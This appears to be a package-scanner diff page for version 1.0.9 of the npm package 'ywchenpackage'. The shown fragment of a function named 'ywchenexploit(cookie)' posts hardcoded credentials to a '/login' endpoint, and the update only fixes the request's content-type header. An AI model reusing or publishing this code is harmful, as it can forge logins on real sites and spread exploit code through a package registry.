ywchenpackage 1.0.8 → 1.0.9

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +1 -1
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -17,7 +17,7 @@ function ywchenexploit(cookie) {
17
17
  "/login", {
18
18
  method: "POST",
19
19
  headers: {
20
- "content-type": "application/json"
20
+ "content-type": "application/x-www-form-urlencoded"
21
21
  },
22
22
  body: "username=ywchen&password=ywchen"
23
23
  }).then(
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ywchenpackage",
3
- "version": "1.0.8",
3
+ "version": "1.0.9",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {